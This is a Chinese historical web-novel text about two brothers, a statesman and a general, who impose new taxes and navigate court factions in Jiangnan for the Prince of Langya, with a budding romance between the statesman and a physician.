《他为我反了天下》
1. 南来
江南,阴雨绵绵。
潮气扑面,城头的野鸽正啄羽。
忽然远处一阵闷雷般的马蹄声响。一惊之下,鸟儿们都飞走了。
来的是铁骑,领头的人抬起眼——他不过十八九岁,一身大红披风戎装,腰挂长刀。整个人如利刃一般的俊、利落,劈开雨水。
他一勒住马,城下的几人赶紧迎了上来:“将军,您可算来了! ”
苏骏“唔”了一声,抬手示意人拿烟盒。就等的这一会儿,他看见城门上的两个大字——“建康”。
而旁边的人已哇拉哇地禀了一大通:“......主子都南下一个多月了,眼看库银要见底,还是收不上税、推不开政!”
“那琅琊王也是,除了个皇室的名头,要啥啥没有!”
总之一句——
“再这么耗下去,咱自家的本都要烧穿啦!”
而苏骏左耳进、右耳出,把烟块丢进嘴里:“吵什么,大不了就回洛阳呗。”
幕僚们听了可吃了一惊:“将军说的哪里话!现在八王争位,哪有认了主还变卦的走法?......”
话还没说完,苏骏已一夹马肚,奔了出去。
“人哪儿呢?”
.
五福楼。
苏骏一进门,只见热气蒸腾,茶香混着油酥味。
台中坐着个说书人,正把醒木一磕:“......列位,哪朝哪代经得起十年的战火?”
“那八个王自个儿就打够了,北面胡人也来掺一脚,这苦的还不是咱们老百姓!今天是背井离乡,明天不知埋在何处哦——”
底下的多是码头来的货商、脚夫,正歇脚吃茶,几乎没人在听。
而拐上二楼,几个公子哥儿按着栏叫:“这讲的啥啊?江北打江北的去,关咱江南什么事......”
就在这一大通乌烟瘴气里,苏骏看见了窗边的人。
那人约二十来岁,一袭长衫披白纱褙子。在吵杂之中一身清清冷冷的,眼底柔和,像是一碰就会化开的云雾。
此时他微蹙了眉,正将目光从台上移开——
这一动,便与苏骏的眼神对上了,那人唇角先弯了一下。
而在苏骏的眼里——
.
“哥,你瘦得跟猴一样了!”
苏骏坐下筷子一伸,鸡、鱼、青菜,就胡乱往兄长碗里摞。“这个不油,能吃的。还有这个—— “
苏昀再三道:“我吃过了,这是给你点的。”
苏骏才不信,继续把菜塞进他碗里,“别废话啦,赶紧吃!”
苏昀看着那碗小山一样的菜,只好拾起筷子,温声道:“你也吃。跑了十几天不累么?吃完先歇口气......”
而苏骏只顾用指探了茶壶,回头去叫人,“喂!搞什么,茶都冷了。来壶热的!”
“......”
苏昀一叹:“你再吼,半个建康都知道你进城啦。”
“就让他们知道,怎么的?”
苏骏仍皱着眉头,“哪个吃了豹子胆的敢欺负你?老子弄死他!”
苏昀脸色微沉:“阿骏。”
苏骏瞟了兄长一眼:“行,行,快吃吧。吃完了干嘛——见‘主公’,还是开干?”
“..
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....”
于是不多时,那轰轰上楼的家伙,就又轰轰地冲了下去。
苏昀看着那背影,不由微叹,侧目:“你们几个跟着去,别让他太过火了。”又唤,“宁伯。”
一个老仆便上前来,“公子。”
苏昀垂下眼,淡淡道:“传下去,开始吧。”
.
雨声未歇,码头已涌入大批士兵。
三处同时起旗,黄布抖落,像一把掐住了江面——
“统一关检,货船止步。”
号子声、骂声挤在河风里,货商、工人全挤成一堆。许多人红着脖子嚷:“你们什么来路,就敢封咱们码头?”
苏骏背对众人,踩着缆绳旁的木箱,只抬了抬手。
后面一个副将出列:“都听好了,这是广武将军。奉天子诏,率军辅佐琅琊王督治江南。再有不服,依扰军之罪处置!”
什么将军?什么诏?
码头全炸成了一片。“江南没这规矩!”“滚回北边去,这是我们建康人的码头!”“再不让开,休怪——”有人抡起竹棍就要往前冲。
苏骏回身便一把扣住棍梢,欺上两步,直将人逼到了木箱堆上。
“别生事,我只说一遍。”
那人吓得够呛,嘴上还强:“我、我是卢家的,你敢......”
“咔。”苏骏手腕一拧,那竹棍就变了形。再随手一带——那人便整个人地扑了出去,直接落进了江水里!
水中立刻扑腾起来:“救、救......”
苏骏任人去捞救,自己低头点了一支烟。
“还有?”
2. 对刃
胳膊拧不过大腿。一时间众商贾再不满,也不得不先服了这个软。再一看,关检是检个什么?要查单、验货,最后落到——
税纲。
小吏把税本一合:“税对不上,回去补吧。”
长龙排出了几条街外,人人叫苦不迭:“官爷行行好。再不出货,咱就赶不上交日了啊!”
小吏头也不抬:“下一个。”
“……”
消息传回商会,人人急得四处打转:江南自治上百年了,是谁上来就敢碰税纲?琅琊王?不是中原之争都排不上号吗?还有那苏家两兄弟——
一文一武,在几个司马王之间转了七八年了。才认了主,就立刻南下。
还不明摆着?
就是认了弱主,来江南抢地盘的!
.
当城中乱成一锅,那幕后的“北人”却在郊西。
大批逃难来的流民在排队,盼着一点官赈、一点义诊。几间棚子由破篷布搭成,风一过,像是无数张干裂的嘴在喘。
苏昀从人群之中走过,一个个地去问,去看:“老先生可好些了?”“领过粥了吧?”“侨籍登了没有?......”
一个小孩子烧得脸红,却挣着不肯吃药。
苏昀蹲下身:“很苦,是不是?”便极温和地哄了几句,又让人去拿糖点。
而这期间,一拨接一拨地有人来催。
商会的来“请喝茶”,军队问东街暴乱的处置,到最后,棚外甚至聚起了一群烂汉,胡喊起来:“三天了!商会断货,全城罢市,连米铺都关门了,丫的还在这装仁装义!”
苏昀微叹,起身吩咐:“去跟于大夫打声招呼。”
一个小孩子拉住他衣角:“大哥哥,你要走了吗?”
苏昀应道:“嗯。”
“你明天还来吗?说好了,要给我带糖的。”
苏昀不由一笑,摸了摸孩子的头:“好,我这就去给你找。”
便起身,转向商会的人。
“走吧。”
.
又见五福楼。
车停下后,商会的笑着拱手:“我们会首说,这地方茶好、景好——哎,大人这边。偏门,专迎贵客的......”
苏昀也不多问,便随人进门、上楼,在厢房外略候了候。
进屋时,只见窗口正对码头。关检旗仍在江上垂着,前几日排的长队却已无踪。小吏们只能干坐着,看行人来来去去。
“景色还行么?”
帘里的人问,语气闲闲地,“专为你苏大人选的呢。”
苏昀微微一笑:“卢会首费心。”
便敛衣入座。再抬眼时,他看见了远处飘起的一缕黑烟。
“起火了。”
帘里的人茶盏一落,发出清响。“是么?”便招了招手,让人去“查看”。
很快有人来禀:是几间城北的仓库起火,好像是......苏昀的那批民生货。
苏昀侧目:“宁伯,去看看。”
帘里的人看着他叫人,“啧”了一声:“那可不太妙啊。商市不开,你这货源一断,城里可还得了么?”又道,“我听说,为了这趟南下,你连洛阳的祖田都卖了?”
苏昀仍只点了点桌,没说话。
帘里的人一叹:“何苦呢?凭你这出身,待在洛阳中枢不好么?便是要争,北边几个司马王哪个不盼着你去。怎么就非要来江南呢......”
苏昀任对方说了一会儿,抬起眼,似是看了看天光。他忽然问:“有点心么?”
帘里的人一顿:“什么?”
苏昀笑:“还得等一会儿呢。”
帘里静了一息。
小二进来添了热茶,又送上一笼刚蒸好的糕点。白汽丝丝地往上浮,映着窗外的烟色。苏昀拈了一块,慢慢地咬了半口。
一时谁也没再说话。
正静得古怪,终于有人咚咚敲门:“老爷——”
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.
“什么叫银号不兑?”
帘后的卢士瑶低声问,“说清楚点。是哪一家,要干什么?“
“是三家一起贴的告示,说是奉官令,明天起,没税印的商票一律不兑了!”
卢士瑶看了一眼帘外的人,仍在不紧不慢地喝茶、吃点心。他回过头,压声道:“慌什么,去问三家掌柜。就说我问的。”
很快,进出的人多了起来。房门开了又关。
“大丰说柜台正忙,晚些再议。”
“满城银号都排起了队,都在问,还收不收票,今儿能兑多少。”
卢士瑶起身:“叫理事。”
帘外的人见他起身,便道:“既然卢老爷在忙,我也不便......”
卢士瑶冷冷道:“苏大人且坐,事情还没完呢。”
珠帘一动,人便出去了。
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罢市、烧货,银号生变......
任外面天翻地覆,苏昀仍在厢房里坐着。
一个小厮愁道:“公子,不让咱走是什么意思?这会儿茶楼都要打烊了。”
苏昀仍是淡淡的:“税纲复杂,急也急不来。”又亲自拉了凳子,“你也坐一会儿,累了吧。”
“......”
小厮只好给他添水,又忍不住嘀咕,“小的不急,二公子才急呢。每半刻钟就要来问一次,就差没拆楼了......”
正说着,房门吱呀一声开了。
卢士瑶脸色阴沉: “苏宴之!”
“查我的税,扣我的帐房?谁借你的胆!”他大步走到桌前,压身道,“你等着,明天全城都会知道,你苏宴之借税逼商,假公济私......”
“卢会首。”苏昀抬起眼,“税是官税,账是官账——卢家代官太久,怕是忘了吧?”
他微微地笑,亲手拉了一张凳。“先坐,消消气。”
又拿起茶壶。“我们,慢慢谈。”
3. 雨后
一场雨过,檐角还在滴水。
“好歹雨是停了。”一人望着窗外,叹道,“可这场风波,怕还平不下来。”
另一人只简单地“嗯”了一声。
那是个文士打扮的老者,名为顾荣,是公认的江南士林之首。此时他正低头泡茶。
对座的友人继续道:“不光商市僵着,士子们的心也都散了——有说‘新政扰民’的,也有说‘还税于公’的,满城风声四起......”
正说着,管家来禀:“老爷,苏司徒求见,人已在门外了。”
友人坐直了:“啊,那......”
顾荣道:“让他回吧。”
管家有些迟疑:“这......”
“去吧。”
等人去了,友人却有些不安:“先生,士林都在等您一句话。您若是不见......”
顾荣只把茶递给对方:“不足扰心。”
等送走了友人,顾荣继续读书、写诗论,平静地过了一日。
等到傍晚,他收了卷,准备去城西义塾暮讲。临上轿前,管家又问:“苏司徒还在正门外,老爷要不要走角门?”
顾荣不由问:“还在?”
“是,一直在外门边上等。安安静静地,也不挡咱出入——就是等。”
自然是从角门避开了。
等他讲过课,再回到府门外,已近二更。
门前挂了对灯笼。
灯下有个人影,身量清瘦、孑然。
顾荣掀帘的手顿了一下,四目相对。对方便笑了,上前半步作礼:
“顾先生。”
.
之后一个月里,苏骏眼看着事情一点点顺了起来。
市重开了,税单收上来了,被烧的粮补上了。街头巷尾,人人在传“南北共治、天下归公”。而琅琊王府门前,来拜谒的人也一日多过一日了。
背后是怎么个七拐八拐、拉里拉杂,苏骏不知道,他只知道——
“我怎么更见不着他了?”
苏骏闷了一头的火,“不是事情办完了吗?”
宁伯劝道:“哪里办得完呢,公子揽下的可是整个江南的新政啊。”
“就不能慢慢办吗?”
“公子的性子您也知道的,哪里打得住呢。”
“打不住也得打啊!晚饭也不吃,天天熬到深更半夜,他那身子怎么受得住?”
苏骏越说火越大,索性就在屋里乱翻了起来——先举起藏在枕后的一个瓷瓶,拧开嗅了嗅,“哼,就知道是止痛。” 往桌上一拍。
然后抽出盆里半干的敷布,“冷敷也用了?”
宁伯吓得不轻:“二公子您别翻了。您知道,公子不喜欢人家动他东西的......”
而苏骏又拎起废物篓里掏了几下,“还折了这么多笔!”
宁伯:“......”
眼看那位还要往篓子深处去掏,他赶紧拦道:“这样啊,老奴正好要去给公子送点东西,您同老奴去,好不好?先把人接回来,比什么都强不是?......”
.
好说歹说,宁伯到底是把那主子拖出了门。
苏骏黑着脸跟了一路。到了一看,几间破院,门口许多拉着货的板车,来来去去,尘土飞扬的。
他问:“什么鬼地方?”
宁伯道:“仁心堂。”又补,“就是官赈义诊,刚改制,起了个好名字。”
好个屁。
苏骏带着一身煞气,大步踏进门。“苏昀!”
堂里的人无不吓了一跳,能躲则躲。
而里间门帘一动,出来的却不是老哥,而是个姑娘。
她长得清清淡淡的,一身素裙。显然也有些诧异,却定了定神道:“找苏大人么?请等一等。”
苏骏哪里等得了,直接掀帘进了。
然后就看见了半倚在榻上的兄长,额角发际间还扎着针,“阿骏?”
.
等那姑娘将最后几枚针起了,收进盘里,苏昀慢慢地坐起身:“有劳于大夫。”
姑娘点了点头,端着针盘出去了。
屋里便只余下骏、昀两个。
前者还在一旁抱着臂,不说话。
后者则看了他一眼,继续理衣袖:“怎么,刚才火急火燎,又没声了?”
苏骏还是不理他。
苏昀道:“说不出口是吧?来道歉的,也得有个道歉的样子......”
苏骏刚压下去的火立刻又起来,瞪眼:“我?道歉?”
苏昀一叹:“你别吼了,我头疼。”
不能吼,苏骏只能干瞪了一会儿眼,最后狠狠地抛下一句:
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“这会儿知道疼了?”
声音却轻得很,几乎接近咕哝。
苏昀心里想笑,面上却一本正经道:“没法子啊,谁让我有你这倒霉弟弟呢。”
苏骏正要竖眉,却看那厮不知从哪儿掏出了一本账,又不知从哪儿掏出了一支笔,一一地指给他看,“你看你。初三,购置名弓两把,花费三百二十两。”
“初五,与人赌钱输二百两,另砸坏桌椅屏风,赔二十两。”
“初八,请人吃花酒,包楼一夜,花费四百六十两......”
末了两手一摊,“自己说吧,怎么回事。”
苏骏一条条地听下来,憋了半天,最后拍桌道:“谁他娘的给你记的这玩意?”
翻出来先弄死他。
“这个嘛。”苏昀双臂压上前,微笑,“全江南的账都在我这,你忘了?”
“......”
苏骏拉下了脸:“这么多年军功军赏,我又不是付不起。”
看着兄长一脸“要我再翻一本帐吗”的玩味表情,他只好道:“买弓是公事,不该花的吗?吃酒,你平时不犒赏,上战场谁给你卖命?赌坊么......”
忽然一顿,吼了起来:“我不是来跟你掰扯这些的。起来了,回家!”
苏昀有些无奈地指了指额角。
苏骏:“......”
惹不起,他还躲不起吗?
他起身,板着声音道:“别磨蹭了,赶紧收一下门口见。“
苏昀“哦”了一声,又问:“晚上吃什么?”
苏骏挥挥手:“上车再说吧。”
便走了。
苏昀这才低头笑了一会儿。
咚咚两声,有人叩门:“公子。”
苏昀抬头:“嗯。”
是宁伯,进门时显然迟疑了一下,还是道:“琅琊王差人问,明天要颁的百官册封令,能不能再核一遍。”
苏昀便收了笑意:“好,我一会儿去回话。”
看着对方那满面的忧愁,又笑着补,“晚点,吃过晚饭再去。”
宁伯似乎不大满意地走了。
苏昀低下头,收了收桌上摊开的账目,轻轻地吐了一口气。
外面的大嗓门就在嚷了:“磨蹭什么呀!饿死人了。”
苏昀扬声:“就来!”
4. 调令
百官册封,南北共治,江南新政渐成气候。
一转眼,已是两年。
江州城郊。天还未亮,旷野中晨雾未散。草尖忽然动了一下,露珠飞溅。
是有人正纵马狂奔。
一声箭鸣呼啸。箭离弦,破风入树,枝叶纷飞。
那人未设靶,仅凭极快的反应,瞄准高枝、斜枝、藏在光影之后的叶梢。动作一气呵成,根本想都不想,只为在疾速中逼出眼、手、箭的极致合一。
几只鸟雀受惊扑棱而起。他反身一拉,再扣弓、放箭,一连数箭连发。
鸟儿纷纷而坠。
他闭上眼,任风声贴着脖颈掠过。
练到最后,他总会有这样一刻的宁静——
仿佛天地之大,只剩这一副骨血,还活着,还完整。可今天一股劲却还在心头翻着,像是哪里不对。他没去细想,只觉得这感觉太熟,就像——
“还不够。”
他猛地睁眼,拉弓再举。目光如利锋出鞘!
.
苏骏下马,把弓箭往后随手一丢,便往前走。
几个随身兵赶紧接着,又忙不迭地围上去,递水、递帕子,牵马。
一个副将小跑着凑过来,脸上堆笑:“将军,您在湘州平乱大胜,琅琊王的封诏才传下去,送贺的就已经快把营门挤破了——您看,这一袋子,全是贺表!”
苏骏用帕子抹了两下脸,根本懒得理。
另一个则道:“是啊将军,这才两年,您在江南的军功擂得都上天了。连北边的怀帝都下诏请您回去了,三封诏,一封比一封急。”
苏骏“呵”了一声,帕子一甩:“他闲得慌吧。”
一伸手,旁边的人赶紧递上烟盒。
苏骏接了,自己倒了一块烟草,丢嘴里。低头听见有人说:“还有这封是司徒的,刚快马送到。”
苏骏瞟了一眼:“放着,一会儿看。”
便大步走入营中,走得快,一群人追在后头都不敢出声。
满营兵士正在操练,一见他来巡,也赶紧绷得笔直。
苏骏一边扫着阵列,一边吹了个口哨:“今晚啊,有的是玩!”语气一转,“但白天都给我练利索点——谁要再晃得跟软脚虾似的,直接丢江里去!”
.
这夜,整条花坊街被军队包了场,里外挤满了人。
楼上丝带乱舞如梦,伎乐喧天。楼下军士分席饮酒,铜钱骰盅撒了一地,拍桌掷骰,呼声震天。有的挽袖比力,一掌将木盆劈作两半;有的搂着花娘笑闹翻滚,半身挂在雕栏上也不肯撒手。酒樽翻飞如雨,笑声似潮。
坐在最高那张朱木牙榻上的,自是苏骏。他披着一件未系带的长袍,敞着半边胸膛。杯中酒未歇,眼角笑意未敛,一手抱着美人,一手挽弓射灯。
“咻”地一声,又一盏花灯应声而灭。
“好!”楼内外齐声叫好,声震街巷。
花坊外挤满看热闹的民众,指指点点:“瞧,那就是刚平湘州之乱的苏将军!”“乖乖,这么年轻,就已经是全江南最风头的人物,以后可得了?”“听说是回京路过江州,歇三日犒军。花街早早就被他包下了,说是——”
正说着,去捡灯签的士兵已展开纸条,高声禀道:“禀将军,是个‘醉’字!”
众人哄然大笑:“可不是‘醉’吗?将军早说了,今夜不醉不归!”
苏骏兴致正浓,被怀中的女伎喂了一大口酒,眯眼再放一箭。
纱灯炸裂,纸屑飞舞。士兵高声再报:“‘罚’字!”
女伎们围上来嘻笑:“罚什么呀?奴家可胆儿小呢......”
苏骏笑了一下,随手将弓丢在桌上,侧目问:“周祺呢,还没来?”
后头的副将忙道:“哎,刚入城。接了将军的帖,却说带着家眷,不便前来。”
苏骏的笑意冷了三分,哼了一声:“假清高。”
一挥手,“告诉他——这是本帅调令,必须来。”
.
不多时,楼外士兵小跑着回报:“将军,周大人到了。”
随即门帘掀起,一道身影踏入灯火之中。
周祺一身深青长衫,目光冷冽。未等引座,便拱手行礼:“听闻将军功成凯旋,升镇东将军,都督六州诸军事。周某,恭贺。”
苏骏倚着榻未动,左拥右抱,语气带笑:“也得贺老周你一声,新晋荆州刺史。荆州啊,可是个好地方——”
周祺道:“往后在荆州,将军主兵、周某理政。还望彼此照应。”又道:“贱内尚在客栈等候,周某不敢久留,敬一杯便告辞。”
他接过士兵递来的酒盏,一饮而尽,杯落即转身。
苏骏在后面笑着叫:“这就急着要走马上任了?”
周祺脚步一顿。
苏骏将酒杯一丢,起身,一步步逼近,眼里那点酒气散了,笑意也没了。“——告诉你。荆州,你,想都别想!”
.
苏骏扣下周祺、擅调广州一事,传至建康,立刻在朝堂上掀起轩然大波。
一众江南党的齐声谴责:“擅调刺史任命,朝纲何存?苏家一文一武,是要合拥江南不成?”
北侨党则反驳:“荆州军情紧急,若非你们处处设绊,镇东将军又何须自行其是?”
两派本就针锋相对,如今更是火上浇油。弹章雪片般飞来,都察院抄都抄不过来。
苏昀气了个半死:“专门叫他别动,结果还是给我捅了个天!”
却顾不得动怒,立刻以雷霆手腕应对。先是连发急信至军中,催促苏骏立刻放人;私下则尽力安抚琅琊王、北党诸公与温和中官。
同时压下弹章,“荆州一事,已由都察院先行阅调。”并且象征性地让出三权,礼让三人,表明苏家无意专擅。
前前后后、费尽心力,总算压了半个月未至大乱。等到苏骏回京复命,前脚刚进家门,就看见满面怒容的兄长在厅里等着了。
苏骏咧嘴一笑:“哥,你动作也太快了!”
又回头去吩咐小厮:“去,茶具都搬远点,一会儿别掀
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了我东西。”
苏昀压下脾气,侧目令:“都下去,把门带上。”
苏骏“啧”了一声:“关门打狗啊?哥你这架势,怕不是要打断我一条腿。”
苏昀看他那不知悔改的样子,极力、极力地让自己语气平静。“我们才到江南两年多,正是朝政不稳、青黄不接的时候。你知不知道,你这一动,把我半年的章程都打乱了......”
苏骏笑意略收,往凳子上一靠:“章程那么不牢,一脚就踹散了,那还不如早散了。”
“阿骏!”
“好,讲‘章程’是吧?”苏骏看着他的眼睛,已经不笑了,探身,“你老实告诉我,调周祺去荆州是你的‘章程’,还是那司马瑞的?”
苏昀闭了一下眼,吐气:“我是同意的。”
“我就知道!”苏骏立刻旋身站了起来,“他司马瑞算个什么东西,就敢防我?他脚下哪一寸土地不是你我打下来的。畜生......畜生玩意儿!”
一脚将茶桌踹翻,砰然巨响。
苏昀只是看着他发作,静了一会儿,才道:“你我功高震主,是迟早的事。只是比想象中来得比快了些——有什么好气的?”
又道:“你前线打胜仗,封六州,当之无愧。周祺后方保钱粮,得一州,也说得过去。朝上南北两派争得厉害,赏你一个北人,就得给南人一点台阶。荆州虽重,他只理政,你才是握兵之人——这口气,你得忍。”
“忍?”苏骏怒道,“荆州是我打下的大本营!我流血打仗,换回来让他坐镇中军?这事要能忍,我他娘的今天就不姓苏!”
苏昀也站起来,提高声音:“阿骏,你已经太招眼了。要是再抓着荆州不放,信不信一年之内,朝上就会逼我收你的兵!我是在保你,给你最大的自由,你明不明白?”
苏骏一下扯高了嗓门:“我不明白!”
他向前一步,“我手里有江南九成的兵,我怕谁?有些人讲理就是没用,只有把刀插他面前,他才老实。哥,我不知道你为什么总在让步——”
他咬了咬牙,看着对方的眼睛:“因为你根本不用。你让我来,我替你扛!”
屋中一时寂静。
苏昀站在那里,长久地看着对方。那双眼里,不是怒,也不是疼,而是一种说不出的复杂——像终于看清了一个不再藏在羽翼下的弟弟。
而是个战功赫赫、锋芒毕露的青年将军了。
他最终摇了摇头:“你的心意,我领了。但江南要长治久安,南北两派必须共处,除此之外,别无他法。”
又轻轻一叹,“你要是不愿意交人,就不交吧。朝堂上,我来想办法。”
便转过身去。
苏骏张开口,竟发不出声。只能眼看着对方离开。
又呆了一会儿,才有小厮探进头来:“将军,老夫人听说您回来了,叫您过去。宋夫人和三小姐也在后院等着呢。”
许久,苏骏闷闷地答了一声:“唔。”
又坐了半晌,方站起。沉沉地向后屋走去。
5. 暗流
永安阁内,日光和暖,炉中轻烟不散。
琅琊王探身:“放了是吧?”
苏昀拱手应道:“是。今日一早,阿骏下了移交令。周大人这会儿已在去荆州的路上了。”
琅琊王“哎”了一声,满脸宽慰:“好,好,放了就好。”
他走上前来,拍拍苏昀的手背,语气亲切又带点叹息:“我也不是为别的。只是朝上这些风声,哎......实在难听。我又压不住他们,叫你受累了。”
“多谢主公关怀,臣不妨事。”
琅琊王又叹:“只是宏之那性子,也太烈了些。这次若不是你劝得住,他怕真要把周祺扒光了扔出去!咱们从北方来,在这南地立足本就不易,他们又个个如狼似虎......我这心里头,真是有些发怵。”
苏昀低眉:“是臣管教无方......”
琅琊王连忙摆手:“不,不,不是这个意思。我怎么可能怪你呢?”
便握住他的手,语气更加柔和、真挚:“宴之,你是我的结义兄弟,也是我最亲近、最信得过的人。朝上再怎么风大浪急,咱们一起应对。切莫乱了心神,好吗?”
苏昀应道:“主公言重。臣定当竭力,不让风浪再起。”
琅琊王点了点头,又道:“你也别太辛苦。我看你又瘦了些不是?你身子弱,饮食睡眠更要万般当心。”
“是,臣记下了。”
琅琊王又笑:“对了,我们一家人也好久没聚了。我想着过几日办个家宴,你和宏之把家眷也都带上,咱们自家人坐坐,不谈国事,就热闹热闹。”
苏昀略一顿,拱手道:“臣自会转告。只是阿骏近来旧伤复发,正歇着养身。若身上无碍,必不失礼。”
“啊,是。两天朝上没见着人了。无妨,等他好点再聚,还是身子要紧......”
.
看着苏昀走了,琅琊王才收起了笑容,冷哼了一声。
正低头喝着茶,侍从凑上来,低声道:“主上,司徒的车往顾家方向去了,又令都察院备着,说下午要去。”
琅琊王放下茶盖:“让他去。”
南党顺利插入荆州,已是大胜。弹章余韵,就容着他去。不过——
“去,把卢家的叫来。悄悄地,别惊了人。”
.
苏昀一整天东奔西走,亲自或派人去劝撤弹章、或润色为建议,由都察院统一发布。再请顾老出面,把重点拉回军政调制上的讨论。如此种种,到傍晚时分,南党中能改向的都改了,剩下几个刺头如卢士瑶等,也再顶不了什么事了。
回到车上,他累得几乎睁不开眼。车轮滚动几丈,脑中一晃,忽然又想起——“宁伯,仁心堂最近的那批药单,我是不是还没批呢?”
宁伯忙答:“是。公子那日忙得紧,说改日再看。”
苏昀皱起眉:“我都忘了。先去一趟吧,落个印就行。”
宁伯劝道:“这事明天也能办,您还是先回去歇会儿吧。”
“已经拖了好几天了。要是药材缺漏,只怕要耽搁病人。走吧。”
宁伯拗不过,只得吩咐车夫:“去仁心堂。”
.
苏昀下车,抬起头。
看见那块自己亲手题的牌匾。仁心堂。
仁心堂如今迁至正北大街,地势通阔,门前青石铺路,车马往来不绝。
堂口几辆板车正卸药,后院辟出三排厢房收留孤儿。廊角小教坊里,几个孩童在夕阳下低头识字,念声断断续续。
纵然身上再疲累,每次看见,还是觉得心里十分宽慰。
一入后院,立刻是小孩子的欢笑声:“苏哥哥来啦!”
那是个七八岁的小孩,名叫于思成。他活泼泼地迎了上来,“我们本来以为你今天不会来了,还在说你一定忙坏了。”又开心道,“不过你还是来啦!”
苏昀笑了:“嗯。”又问,“你姐姐呢?”
话音未落,身后忽传来一个温柔的女子声音:“苏大人。”
他便回头看去。
于茵正从石阶而下,向他走来,一笑:“你来啦。”
.
入屋。于茵递上药品清单。
“郊西那头发热病人多了不少,临时调了方子。怕药难入口,又添了橘红。”
苏昀扫了一眼,点了点头:“宁伯拿章。”
章印落定,苏昀便欲起身,却被于茵拦住:“先别走,还没看诊呢。”
苏昀微怔,“啊”了一声。
“怎么,没排上日程的,就不能看了是吗?”
于茵看着他,忍不住笑了一下,“你这人事事算得精细,一分不合的都难受,我可有说错?”又指着旁边的躺椅,“坐吧,难得来一趟,我略看一看,不耽搁你多久。”
一整天都在绷着神经,字字机锋,这倒是他听的头一句玩笑话。
苏昀有些无奈,又好笑,便只好入座了。口中却还不大服:“我是困了,正要回去睡。”
于茵笑,一边替他挽袖:“是,看得出。眼下一片青,都挂不住神了。”
再把声音放轻,“合眼歇会儿,我先看着,一会儿给你用几针再调一下。”
苏昀惯是安排人的,难得被人安排一回。
他闭上眼,心里慢慢松了下来。更细微地体会到她的动作,垫枕、搭脉,起身去拿针。那么柔和。
一针,两针,落得极轻,极稳。
忽觉眉心一松,仿佛一丝气从脑后滑落下来。悬了一日的心神,终于有了安放处。
“最近是烦得紧吧?”她语声几不可闻,像是怕扰了谁似的。
苏昀轻轻地“嗯”了一声。
他
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听见窗外风吹帘影的声音,如在水中。
他渐渐睡了过去。
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醒来时,天已全暗了。旁边摆了一碗热粥。
于茵侧对着他,正在灯下写诊卷,十分专注。仍是一身素色布衣,不施脂粉,清清淡淡一张脸。衬得那双眼愈发澄明。
这样的身影,这样安静的照料,他这两年来经历了无数次。但今天不知什么缘故,他心头忽然泛起一丝说不清的情绪。
他轻声叫:“于大夫。”
“醒了?”于茵放下笔,回头一笑。
“睡得挺沉,我都没叫你。”她起身探了探碗,还是温的。便端了起来,“起来吃点吧,宁伯说你一整天都没顾上吃饭。好歹垫一垫。”
苏昀支起身:“你什么时候熬的粥?”
“你睡着之后。”于茵把碗端来,“厨房里还剩些白米,我加了点陈皮、藿香,暖胃的。”
他接过,闻到食物的淡淡香气。
几日连轴转倒尽了胃口,此刻竟然有了一点食欲。
他低着头,一勺一勺吃得很慢。
于茵不放心,补道:“不要因为是我做的,就勉强吃下去。你吃多少,以自己舒服为准。”见他一直不说话,又忍不住问,“还行吗?我胡乱做的,也不知合不合你胃口......”
“非常好吃。” 苏昀放下碗,微垂着眼,“就是太麻烦你了......”
于茵略松了口气,半开玩笑道:“不麻烦。麻烦的是,有些病人不拿身体当回事,头等怕‘麻烦’大夫,只能让人干着急!”
苏昀一时失笑,顿了顿才道:“我不同你客气,你也一样。下次再有急事,你就直接来找我,不必顾忌。”
于茵笑道:“一言为定。”
苏昀看着她的笑容,心中像是忽然陷下去了一块,柔软的,毛茸茸的。
那是一种十分新奇的感受。
他体味了一下,不知道为什么想笑。面上仍尽量保持口气平稳,起身,“打扰这么久,我也该回去了。”
刚起身,恰好有人推门进来——
“阿茵,昨天你问栝楼根水煮的事,我查过了......”
.
回到车上,苏昀坐了好一会儿没说话。看着也不是累,就是出神。
宁伯有些纳闷,小心地道:“公子。老夫人刚传话说,会让二公子出席家宴的,让您放心。宋夫人还点了戏。”
苏昀应了一句:“哦,那就好。”
说是这么说,语气却一点也听不出高兴。
宁伯摸不着头脑,正想再试:“还有......”
那位主儿终于打断:“宁伯。”
“哎。”
“刚才那位左大夫......”
苏昀顿了顿,最后道,“常在堂里走动吗?”
6. 美满
回到水榭,苏昀早早地睡了。
说是“睡了”,实则是在床上一直翻来翻去。
他一会儿想,阿骏这性子可怎么办。一会儿又想,周家得怎么安抚,还有仁心堂的资金......好容易快睡过去,脑子里忽又掠过一句:
“说是同乡的,早就订亲了。”
当然了。
原也该是这样。
苏昀在迷糊中一叹,转过身去。
.
有人辗转,就有人睡到了日上三竿。
苏骏心头不快,称病多日不朝。这一天又是被宠妾宋依依拽起来的:“再赖下去,骨头都要长霉了!”
苏骏抱着被子,发一声闷哼:“烦不烦?”
宋依依不理他那点起床气,把长弓拿出来往他手边一扔:“五六天没晨练,你肩都快塌下来啦!”
好说歹说,苏骏总算翻身下床,懒洋洋地拖了件外袍。刚要出门,一个侍女又来问了:“将军,老夫人问今晚宫宴什么时辰去?”
苏骏一甩手:“哎呀,不去!”
.
于是当夜。
苏骏被打扮得齐齐整整的,坐在主位下首。
琅琊王极温和地去拉他的手:“旧伤可好些了?几天不见,哥哥心里记挂得很。”又问,“手这么凉。酒别多饮——来人,把暖炉挪近些。”
苏骏起了一身鸡皮疙瘩,抽回手:“还行,不冷。”
琅琊王再去问苏老夫人的起居,问了三小姐苏敏的学业,又谈了几桩洛阳旧事。
期间台上歌舞一拨换一拨。有个十八九岁的戏子,长得如花似玉,唱得又好,琅琊王侧过身来问:“这就是宋夫人点的那个伶人?”
宋依依起身笑答:“是。“
琅琊王赞不绝口,当即下令要留人入宫。
苏骏本来眼都没抬一下,谁知咣当一声,忽然对面的老哥失手碰倒了茶杯,一边道:“没事没事。”便站了起来。
多大个人了,毛手毛脚。
苏骏瞟了他一眼,随手把盘里的青菜还给宋依依。“说了不吃,别给我这些......”
.
就这样有事应两声,没事闷头吃饭,终于熬到了宴会散场。苏骏正要拍屁股走人,忽然身后有人叫:“二公子。”
他回头一看:“宁伯啊,有事?”
宁伯道:“哎,公子说多谢您今晚能来。还说前天刚得了把好弓,问您什么时候得空,过来试试。”
苏骏顿了一下,眯起眼:“他手痒了啊?”
宁伯嘿嘿地笑:“......是啦,上回输给您,心里总不大服呢。”
苏骏分明嘴角上扬,却故作勉强似的道,“明天宋依依过生辰,我没空。不过——后天,后天我抽空去找他。行吧?”
宁伯满口应了:“太好了,公子一定等着。”
再转向宋依依作揖,“宋夫人生辰,公子也备了一份礼,明儿一早老奴给您送来。”
.
她道是什么礼?
次日,宁伯果然一大早就来了。
